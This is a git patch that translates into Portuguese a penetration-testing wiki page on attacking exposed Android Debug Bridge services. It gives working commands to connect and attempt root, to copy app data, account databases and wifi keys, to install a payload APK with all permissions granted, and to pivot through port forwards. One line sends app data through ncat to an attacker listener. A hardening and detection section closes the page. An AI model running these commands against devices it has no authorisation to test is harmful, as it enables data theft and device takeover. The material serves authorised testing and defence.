From 96953c08f4b94ada6bf36c9f6ed7c957c63cb44c Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 19 Aug 2025 00:39:08 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/5555-android-debug-bridge.m --- .../5555-android-debug-bridge.md | 131 ++++++++++++++++-- 1 file changed, 116 insertions(+), 15 deletions(-) diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index 7f7fc0456..cbb17c9f1 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -6,40 +6,141 @@ Do [documentos](https://developer.android.com/studio/command-line/adb): -**Android Debug Bridge** (adb) é uma ferramenta de linha de comando versátil que permite comunicar-se com um dispositivo. O comando adb facilita uma variedade de ações no dispositivo, como **instalar e depurar aplicativos**, e fornece **acesso a um shell Unix** que você pode usar para executar uma variedade de comandos em um dispositivo. +Android Debug Bridge (adb) é uma ferramenta de linha de comando para se comunicar com dispositivos e emuladores baseados em Android. As ações típicas incluem instalar pacotes, depurar e obter um shell Unix interativo no dispositivo. -**Porta padrão**: 5555. +- Porta TCP padrão histórica: 5555 (modo clássico "adb tcpip"). +- A depuração sem fio moderna (Android 11+) usa emparelhamento TLS e descoberta de serviço mDNS. A porta de conexão é dinâmica e descoberta via mDNS; pode não ser 5555. O emparelhamento é feito com adb pair host:port seguido de adb connect. Veja as notas abaixo para implicações ofensivas. + +Exemplo de impressão digital nmap: ``` PORT STATE SERVICE VERSION 5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909) ``` ## Conectar -Se encontrar o serviço ADB rodando em uma porta de um dispositivo e você puder se conectar a ele, **você pode obter um shell dentro do sistema:** +Se você encontrar o ADB exposto e acessível, tente se conectar e enumerar rapidamente: ```bash -adb connect 10.10.10.10 -adb root # Try to escalate to root -adb shell +adb connect [:] # Default is 5555 for classic mode +adb devices -l # Confirm it shows as "device" (not unauthorized/offline) +adb shell # Get an interactive shell (uid usually shell) +whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port +adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT ``` -Para mais comandos ADB, verifique a seguinte página: +- Se o dispositivo impõe autenticação ADB (ro.adb.secure=1), você precisará ser pré-autorizado (autenticação USB RSA) ou usar o emparelhamento de depuração sem fio do Android 11+ (que requer um código de uso único exibido no dispositivo). +- Algumas imagens de fornecedores, builds de engenharia/userdebug, emuladores, TVs, STBs e kits de desenvolvimento expõem adbd sem autenticação ou com adbd rodando como root. Nesses casos, você normalmente cairá diretamente em um shell ou shell root. + +Para uma referência geral de comandos ADB, veja: {{#ref}} ../mobile-pentesting/android-app-pentesting/adb-commands.md {{#endref}} -### Extrair dados do aplicativo +## Rápida Pós-Exploração -Para baixar completamente os dados de um aplicativo, você pode: +Uma vez que você tenha o shell, valide privilégios e contexto SELinux: ```bash -# From a root console -chmod 777 /data/data/com.package -cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data. -adb pull "/sdcard/com.package" +id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint ``` -Você pode usar esse truque para **recuperar informações sensíveis como senhas do chrome**. Para mais informações sobre isso, verifique as informações nas referências fornecidas [**aqui**](https://github.com/carlospolop/hacktricks/issues/274). +### Enumerar e capturar dados + +- Liste aplicativos de terceiros e caminhos: +```bash +pm list packages -3 +pm path +``` +- Se você tiver root (adb root ou su funciona), você pode acessar /data diretamente. Se não, prefira run-as para aplicativos depuráveis: +```bash +# Sem root, para um aplicativo depurável +run-as sh -c 'cd /data/data/ && tar cf - .' | tar xf - -C ./loot/ + +# Com root +cp -a /data/data/ /sdcard/ +exit +adb pull "/sdcard/" +``` +- Artefatos de sistema úteis (root necessário): +- /data/system/users/0/accounts.db e dados relacionados ao AccountManager +- /data/misc/wifi/ (configurações/chaves de rede em versões mais antigas) +- DBs SQLite específicos do aplicativo e shared_prefs em /data/data/ + +Você pode usar isso para recuperar informações sensíveis (por exemplo, segredos do aplicativo). Para notas sobre considerações de dados do Chrome, veja a questão referenciada [aqui](https://github.com/carlospolop/hacktricks/issues/274). + +### Execução de código e entrega de payload + +- Instale e conceda permissões de execução automaticamente: +```bash +adb install -r -g payload.apk # -g concede todas as permissões de execução declaradas no manifesto +adb shell monkey -p -c android.intent.category.LAUNCHER 1 +``` +- Inicie atividades/serviços/transmissões diretamente: +```bash +adb shell am start -n / +adb shell am startservice -n / +adb shell am broadcast -a +``` + +### Encaminhamento de porta e pivotagem + +Mesmo sem root, adb pode encaminhar portas locais para portas do dispositivo e vice-versa. Isso é útil para acessar serviços vinculados localmente no dispositivo ou para expor serviços do atacante ao dispositivo. + +- Encaminhar host->dispositivo (acessar um serviço local do dispositivo a partir do seu host): +```bash +adb forward tcp:2222 tcp:22 # Se o dispositivo executar SSH (por exemplo, Termux/Dropbear) +adb forward tcp:8081 tcp:8080 # Expor o servidor de depuração local do aplicativo +``` +- Reverso dispositivo->host (deixar o dispositivo acessar um serviço no seu host): +```bash +adb reverse tcp:1080 tcp:1080 # Aplicativos do dispositivo agora podem acessar host:1080 como 127.0.0.1:1080 +``` +- Exfiltração de arquivos através de sockets (sem gravações no sdcard): +```bash +# No host: escutar +ncat -lvp 9000 > dump.tar +# No dispositivo: enviar diretório como tar (root ou run-as conforme aplicável) +adb shell "tar cf - /data/data/" | ncat 9000 +``` + +## Depuração Sem Fio (Android 11+) + +O Android moderno implementa depuração sem fio protegida por TLS com emparelhamento do lado do dispositivo e descoberta mDNS: +```bash +# On the device: Developer options -> Wireless debugging -> Pair device with pairing code +# On attacker host (same L2 network, mDNS allowed): +adb pair : # Enter the 6-digit code shown on device +adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services +adb connect : +``` +Notas +- As portas são dinâmicas; não assuma 5555. Os nomes de serviços mDNS parecem com: +- _adb-tls-pairing._tcp (pareamento) +- _adb-tls-connect._tcp (conexão pareada) +- _adb._tcp (legado/simples) +- Se o mDNS estiver filtrado, a habilitação clássica assistida por USB ainda pode funcionar em algumas versões: `adb tcpip 5555` então `adb connect :5555` (até reinicialização). + +Implicações ofensivas: se você puder interagir com a interface do dispositivo (por exemplo, acesso físico ou configuração incorreta de MDM móvel) para habilitar a depuração sem fio e visualizar o código de pareamento, você pode estabelecer um canal ADB pareado de longa duração sem um cabo. Alguns OEMs expõem ADB sobre TCP em imagens de engenharia/desenvolvimento sem pareamento—sempre verifique. + +## Fortalecimento / Detecção + +Os defensores devem assumir que qualquer adbd (TCP) acessível é um risco crítico. + +- Desative ADB e a depuração sem fio quando não necessário. Revogue autorizações de depuração USB nas opções de desenvolvedor. +- Certifique-se de que a política de rede bloqueie TCP/5555 de entrada e a descoberta ADB baseada em mDNS em segmentos não confiáveis. +- Em dispositivos sob seu controle: +```bash +settings put global adb_enabled 0 +setprop service.adb.tcp.port -1 # desabilitar escuta TCP (ou use: adb usb) +stop adbd; start adbd # reiniciar daemon +``` +- Monitore registros mDNS `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` em redes corporativas e alertas para ouvintes 5555 inesperados. +- Faça um inventário de versões inseguras: `getprop ro.debuggable`, `ro.build.type`, e `ro.adb.secure`. ## Shodan -- `android debug bridge` +- android debug bridge +- port:5555 product:"Android Debug Bridge" +## Referências + +- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb +- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md {{#include ../banners/hacktricks-training.md}}